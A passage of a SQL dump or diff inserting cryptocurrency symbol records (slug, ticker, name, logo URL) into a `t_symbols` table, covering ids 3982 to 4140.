VALUES (3982, 'yfbeta', 'TFBETA', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/.png', NULL); +INSERT INTO `t_symbols` VALUES (3983, 'pddim', 'PDD', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/pddim.png', NULL); +INSERT INTO `t_symbols` VALUES (3984, 'tapio', 'TAI', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1458282461037674496.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3985, 'ccdx-token', 'CCDX', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1603324534941224960.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3986, 'atidium', 'ATD', 'ATIDIUM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atidium.png', NULL); +INSERT INTO `t_symbols` VALUES (3987, 'bitcoin-clean', 'BCL', 'Bitcoin Cloud', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-clean.png', NULL); +INSERT INTO `t_symbols` VALUES (3988, 'cmitcoin', 'CMIT', 'CMITCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cmitcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3989, 'ebsp', 'EBSP', 'EBSP Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ebsp.png', NULL); +INSERT INTO `t_symbols` VALUES (3990, 'gamebet', 'GBT', 'GameBet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamebet.png', NULL); +INSERT INTO `t_symbols` VALUES (3991, 'pgc', 'PGC', 'Pegascoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pgc.png', NULL); +INSERT INTO `t_symbols` VALUES (3992, 'segwit2x', 'B2X', 'SegWit2x', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/segwit2x.png', NULL); +INSERT INTO `t_symbols` VALUES (3993, 'stockchain', 'SCC', 'StockChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stockchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3994, 'bitagora', 'BAG', 'Bitagora', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitagora.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3995, 'anarchy-token', 'ANAR', 'Anarchy token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/anarchy-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3996, 'equaliser', 'EQLI', 'Equaliser', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/equaliser.png', NULL); +INSERT INTO `t_symbols` VALUES (3997, 'zethereum', 'ZETH', 'Zethereum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zethereum.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3998, 'elphyrecoin', 'ELPH', 'Elphyrecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elphyrecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3999, 'biggame', 'BG', 'EOS Big Game', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/biggame.png', NULL); +INSERT INTO `t_symbols` VALUES (4000, 'luckybit', 'LUCKY', 'LuckyBit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/luckybit.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4001, 'zeto', 'ZTC', 'ZeTo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zeto.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4002, 'level01-token', 'LVX', 'Level01', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/level01-token.png', NULL); +INSERT INTO `t_symbols` VALUES (4003, 'springrolltoken', 'SPRINGROLL', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/springrolltoken.png', NULL); +INSERT INTO `t_symbols` VALUES (4004, 'seor', 'SEOR', 'SEOR Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/seor.png', NULL); +INSERT INTO `t_symbols` VALUES (4005, 'folksfinance', 'FOLKS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/folksfinance.png', NULL); +INSERT INTO `t_symbols` VALUES (4006, 'shm', 'SHM', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1468623809347469319.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4007, 'viide', 'VII', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1509709933570568193.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4008, 'aba', 'ABA', 'EcoBall', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aba.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4009, 'bitcoin-crown', 'BTCC', 'Bitcoin Crown', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-crown.png', NULL); +INSERT INTO `t_symbols` VALUES (4010, 'dangx', 'DANGX', 'DANGX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dangx.png', NULL); +INSERT INTO `t_symbols` VALUES (4011, 'intimate', 'ITM', 'Intimate', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/intimate.png', NULL); +INSERT INTO `t_symbols` VALUES (4012, 'virtualtoken', 'VIR', 'VirtualToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/virtualtoken.png', NULL); +INSERT INTO `t_symbols` VALUES (4013, 'chinese-medicine-chain', 'CTM', 'Chinese Medicine Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chinese-medicine-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (4014, 'all-bit-gambling-shares-chain', 'ABGS', 'ABGS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/all-bit-gambling-shares-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (4015, 'bitcoingenx', 'BGX', 'BitcoinGenX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoingenx.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4016, 'libertad-venezolana', 'LVEN', 'Libertad Venezolana', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/libertad-venezolana.png', NULL); +INSERT INTO `t_symbols` VALUES (4017, 'zent-cash', 'ZTC', 'Zent Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zent-cash.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4018, 'duckiemultimetaversetoken', 'MMETA', 'Duckie Land Multi Metaverse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/duckieland.png', NULL); +INSERT INTO `t_symbols` VALUES (4019, 'somafinance', 'SOMA', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/somafinance.png', NULL); +INSERT INTO `t_symbols` VALUES (4020, 'evo', 'EVO', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/evoverses.png', NULL); +INSERT INTO `t_symbols` VALUES (4021, 'tonsnipe', 'TNS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1601547110104662022.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4022, 'btch', 'BTCH', 'Bitcoin Hush', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btch.png', NULL); +INSERT INTO `t_symbols` VALUES (4023, 'gamechain', 'GCS', 'GameChain System', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamechain.png', NULL); +INSERT INTO `t_symbols` VALUES (4024, 'helleniccoin', 'HNC', 'HNC Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/helleniccoin.png', NULL); +INSERT INTO `t_symbols` VALUES (4025, 'mic', 'MIC', 'mic', NULL, NULL); +INSERT INTO `t_symbols` VALUES (4026, 'nobless', 'NBL', 'nobless', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nobless.png', NULL); +INSERT INTO `t_symbols` VALUES (4027, 'quotient', 'XQN', 'Quotient', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quotient.png', NULL); +INSERT INTO `t_symbols` VALUES (4028, 'trade-token-x', 'TIOX', 'Trade Token X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trade-token-x.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4029, 'tantalum', 'TK', 'Tantalum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tantalum.png', NULL); +INSERT INTO `t_symbols` VALUES (4030, 'uss', 'USS', 'USS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uss.png', NULL); +INSERT INTO `t_symbols` VALUES (4031, 'trinity', 'TTY', 'Trinity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trinity.png', NULL); +INSERT INTO `t_symbols` VALUES (4032, 'etor', 'ETOR', 'etor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/etor.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4033, 'nodium', 'XN', 'Nodium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nodium.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4034, 'bithold', 'BHD', 'Bithold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bithold.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4035, 'lives-token', 'LVT', 'Lives Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lives-token.png', NULL); +INSERT INTO `t_symbols` VALUES (4036, 'bgx-ai', 'BGX', 'BGX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bgx-ai.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4037, 'daosquaregovernancetoken', 'RICE', 'DAOSquare', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/daosquare.png', NULL); +INSERT INTO `t_symbols` VALUES (4038, 'animalia', 'ANIM', 'Animalia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/animalia.png', NULL); +INSERT INTO `t_symbols` VALUES (4039, 'heroesofmavia', 'MAVIA', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/heroesofmavia.png', NULL); +INSERT INTO `t_symbols` VALUES (4040, 'anv', 'ANV', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/aniverse.png', NULL); +INSERT INTO `t_symbols` VALUES (4041, 'd2t', 'D2T', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1566679287641546752.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4042, 'atlas-token', 'ATLS', 'Atlas Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atlas-token.png', NULL); +INSERT INTO `t_symbols` VALUES (4043, 'bitcoin-faith', 'BTF', 'Bitcoin Faith', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-faith.png', NULL); +INSERT INTO `t_symbols` VALUES (4044, 'btcmoon', 'BTCM', 'BTCMoon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btcmoon.png', NULL); +INSERT INTO `t_symbols` VALUES (4045, 'europecoin', 'ERC', 'EuropeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/EuropecoinEUORG.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4046, 'gamecity', 'GMCI', 'Game City', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamecity.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4047, 'node-provide-community', 'NPC', 'node-provide-community', NULL, NULL); +INSERT INTO `t_symbols` VALUES (4048, 'storjcoin-x', 'SJCX', 'Storjcoin X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/storjcoin-x.png', NULL); +INSERT INTO `t_symbols` VALUES (4049, 'izetex', 'IZX', 'IZX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/izetex.png', NULL); +INSERT INTO `t_symbols` VALUES (4050, 'gravel-coin', 'GRVC', 'Gravel Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gravel-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4051, 'genom', 'GENOM', 'Genom', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/genom.png', NULL); +INSERT INTO `t_symbols` VALUES (4052, 'lunarx', 'LX', 'LunarX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lunarx.png', NULL); +INSERT INTO `t_symbols` VALUES (4053, 'b2b-coin', 'B2B', 'B2Bcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/b2b-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (4054, 'dragonbit', 'DRGB', 'Dragonbit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dragonbit.png', NULL); +INSERT INTO `t_symbols` VALUES (4055, 'ertha', 'ERTHA', 'Ertha', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ertha.png', NULL); +INSERT INTO `t_symbols` VALUES (4056, 'globalcoinresearch', 'GCR', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/gcrdao.png', NULL); +INSERT INTO `t_symbols` VALUES (4057, 'battlemonster', 'BMG', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/battlemonster.png', NULL); +INSERT INTO `t_symbols` VALUES (4058, 'metawear', 'WEAR', 'MetaWear', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/metawear.png', NULL); +INSERT INTO `t_symbols` VALUES (4059, 'precog-finance', 'PCOG', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1402279532787343366.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4060, 'atmatrix', 'ATT', 'atmatrix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atmatrix.png', NULL); +INSERT INTO `t_symbols` VALUES (4061, 'bitcoin-god', 'GOD', 'Bitcoin God', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-god.png', NULL); +INSERT INTO `t_symbols` VALUES (4062, 'dapchain', 'DAP', 'DAPchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dapchain.png', NULL); +INSERT INTO `t_symbols` VALUES (4063, 'eusd', 'EUSD', 'EOS Stablecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eusd.png', NULL); +INSERT INTO `t_symbols` VALUES (4064, 'tremiss', 'STS', 'TREMISS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tremiss.png', NULL); +INSERT INTO `t_symbols` VALUES (4065, 'turbogold', 'TBG', 'Turbogold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/turbogold.png', NULL); +INSERT INTO `t_symbols` VALUES (4066, 'bizpaye', 'CRYPTO', 'BIZpaye', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bizpaye.png', NULL); +INSERT INTO `t_symbols` VALUES (4067, 'xeuro', 'XEURO', 'XEuro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xeuro.png', NULL); +INSERT INTO `t_symbols` VALUES (4068, 'placeholders', 'PHL', 'Placeholders', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/placeholders.png', NULL); +INSERT INTO `t_symbols` VALUES (4069, 'binpay', 'BIN', 'Bin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binpay.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4070, 'cryptobolt', 'BOLT', 'BOLT Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptobolt.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4071, 'enumivo', 'EIDOS', 'EIDOS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/enumivo.png', NULL); +INSERT INTO `t_symbols` VALUES (4072, 'penguinkarts', 'PGK', 'Penguin Karts', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/penguinkarts.png', NULL); +INSERT INTO `t_symbols` VALUES (4073, 'atta', 'ATTA', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/atta.png', NULL); +INSERT INTO `t_symbols` VALUES (4074, 'cnp', 'CNP', 'Cryptonia Poker', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cnp.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4075, 'eva', 'EVA', 'Eva Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eva.png', NULL); +INSERT INTO `t_symbols` VALUES (4076, 'help-the-homeless-coin', 'HTH', 'Help The Homeless Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/help-the-homeless-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4077, 'trakinvest', 'TRAK', 'TrakInvest', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trakinvest.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4078, 'xtrd', 'XTRD', 'XTRD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xtrd.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4079, 'openweb-token', 'OWT', 'OpenWeb Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/openweb-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4080, 'hazza', 'HAZ', 'Hazza', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hazza.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4081, 'initial-point-unit-x', 'IPUX', 'Initial Point Unit X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/initial-point-unit-x.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4082, 'gsmcoin', 'GSM', 'GSMcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gsmcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (4083, 'relax-buddy-token', 'RBPC', 'Relax Buddy Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/relax-buddy-token.png', NULL); +INSERT INTO `t_symbols` VALUES (4084, 'binarium', 'BIN', 'Binarium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binarium.png', NULL); +INSERT INTO `t_symbols` VALUES (4085, 'lexit', 'LEXI', 'LEXIT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lexit.png', NULL); +INSERT INTO `t_symbols` VALUES (4086, 'candy-one', 'CANDY', 'Candy Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/candy-one.png', NULL); +INSERT INTO `t_symbols` VALUES (4087, 'endlessbattlefield', 'EB', 'Endless Battlefield', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/endlessbattlefield.png', NULL); +INSERT INTO `t_symbols` VALUES (4088, 'h2on', 'H2ON', 'H2O Securities', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/h2osecurities.png', NULL); +INSERT INTO `t_symbols` VALUES (4089, 'space-kill', 'SKS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1546390676274831362.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4090, 'abdt', 'ABDT', 'abdt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/abdt.png', NULL); +INSERT INTO `t_symbols` VALUES (4091, 'atmcoin', 'ATMC', 'ATMCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/atmcoinoficial.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4092, 'dapper', 'DAPP', 'DapperCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dapper.png', NULL); +INSERT INTO `t_symbols` VALUES (4093, 'evacash', 'EVC', 'EvaCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/evacash.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4094, 'helper-search-token', 'HSN', 'Helper Search Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/helper-search-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4095, 'nofaketoday', 'NFC', 'No Fake Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nofaketoday.png', NULL); +INSERT INTO `t_symbols` VALUES (4096, 'phc', 'PHC', 'phc', NULL, NULL); +INSERT INTO `t_symbols` VALUES (4097, 'xtrl', 'XTRL', 'TurkeyEnergyToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xtrl.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4098, 'touristoken', 'TOU', 'TOURISTOKEN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/touristoken.png', NULL); +INSERT INTO `t_symbols` VALUES (4099, 'bokocloud', 'BOPO', 'BopoCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bokocloud.png', NULL); +INSERT INTO `t_symbols` VALUES (4100, 'voucher-coin', 'VCO', 'Voucher Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/voucher-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (4101, 'bitmoney', 'BIT', 'BitMoney', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitmoney.png', NULL); +INSERT INTO `t_symbols` VALUES (4102, 'eusdtoken', 'EUSD', 'eUSD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eusdtoken.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4103, 'fair-efficient-business', 'FEB', 'FEB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fair-efficient-business.png', NULL); +INSERT INTO `t_symbols` VALUES (4104, 'adroverse', 'ADR', 'Adroverse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/adroverse.png', NULL); +INSERT INTO `t_symbols` VALUES (4105, 'edverse', 'EDV', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/edverse.png', NULL); +INSERT INTO `t_symbols` VALUES (4106, 'dappster', 'DLISK', 'DAPPSTER', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dappster.png', NULL); +INSERT INTO `t_symbols` VALUES (4107, 'helptoken', 'HELP', 'HELP Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/helptoken.png', NULL); +INSERT INTO `t_symbols` VALUES (4108, 'lhcoin', 'LHCOIN', 'LHCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lhcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4109, 'qyno', 'QNO', 'QYNO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qyno.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4110, 'senno', 'SENNO', 'SENNO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/senno.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4111, 'xtx', 'XTX', 'Xtock', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xtx.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4112, 'cloudquotientchain', 'CQC', 'cloudquotientchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cloudquotientchain.png', NULL); +INSERT INTO `t_symbols` VALUES (4113, 'amero', 'AMX', 'Amero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amero.png', NULL); +INSERT INTO `t_symbols` VALUES (4114, 'bytechcoin', 'BYTC', 'BytechCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bytechcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (4115, 'transparent-game-value-broadcast-network', 'TVB', 'Transparent Game-Value Broadcast Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/transparent-game-value-broadcast-network.png', NULL); +INSERT INTO `t_symbols` VALUES (4116, 'bitrewards-token', 'BIT', 'BitRewards', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitrewards-token.png', NULL); +INSERT INTO `t_symbols` VALUES (4117, 'mad-network-token', 'MAD', 'MADNetwork', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mad-network-token.png', NULL); +INSERT INTO `t_symbols` VALUES (4118, 'dalong-token', 'DLT', 'Dalong Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dalong-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4119, 'mdukey', 'MDU', 'MDUKEY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mdukey.png', NULL); +INSERT INTO `t_symbols` VALUES (4120, 'blackfridge', 'GBPT', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/blackfridge.png', NULL); +INSERT INTO `t_symbols` VALUES (4121, 'scrimmage', 'SCRIM', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1102556804.jpg', NULL); +INSERT INTO `t_symbols` VALUES (4122, 'bitcoin-hot', 'BTH', 'Bitcoin Hot', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-hot.png', NULL); +INSERT INTO `t_symbols` VALUES (4123, 'coa', 'COA', 'Volcanomae', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coa.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4124, 'echoin', 'EC', 'Echoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/echoin.png', NULL); +INSERT INTO `t_symbols` VALUES (4125, 'philosafe-token', 'PLST', 'Philosafe Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/philosafe-token.png', NULL); +INSERT INTO `t_symbols` VALUES (4126, 'rabbitcoin', 'RBBT', 'RabbitCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rabbitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (4127, 'tratok', 'TRAT', 'Tratok', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tratok.png', NULL); +INSERT INTO `t_symbols` VALUES (4128, 'sofa-network', 'PHTM', 'Phantom Matter', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sofa-network.png', NULL); +INSERT INTO `t_symbols` VALUES (4129, 'thur-gold', 'THGL', 'Thur Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thur-gold.png', NULL); +INSERT INTO `t_symbols` VALUES (4130, 'scaltinof', 'SCAL', 'Scaltinof', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/scaltinof.png', NULL); +INSERT INTO `t_symbols` VALUES (4131, 'blockhive', 'HIVE', 'blockhive', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockhive.png', NULL); +INSERT INTO `t_symbols` VALUES (4132, 'inferno', 'BLAZE', 'Inferno', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/inferno.png', NULL); +INSERT INTO `t_symbols` VALUES (4133, 'digimoney', 'DGM', 'DigiMoney', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digimoney.png', NULL); +INSERT INTO `t_symbols` VALUES (4134, 'max-token', 'MAX', 'MAX Exchange Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/max-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4135, 'kimcoin', 'KIM', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/kimcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (4136, 'elfinkingdom', 'ELFIN', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/elfinkingdom.png', NULL); +INSERT INTO `t_symbols` VALUES (4137, 'nomadexile', 'PRIDE', 'Nomad Exiles', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/nomadexile.png', NULL); +INSERT INTO `t_symbols` VALUES (4138, 'fon', 'FON', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fon.png', NULL); +INSERT INTO `t_symbols` VALUES (4139, 'fluidity-governance-token', 'FLUIDITY', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/fluidity.png', NULL); +INSERT INTO `t_symbols` VALUES (4140, 'abld', 'ABLD', 'ABLE Dollar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/abld.png', NULL); + +-- 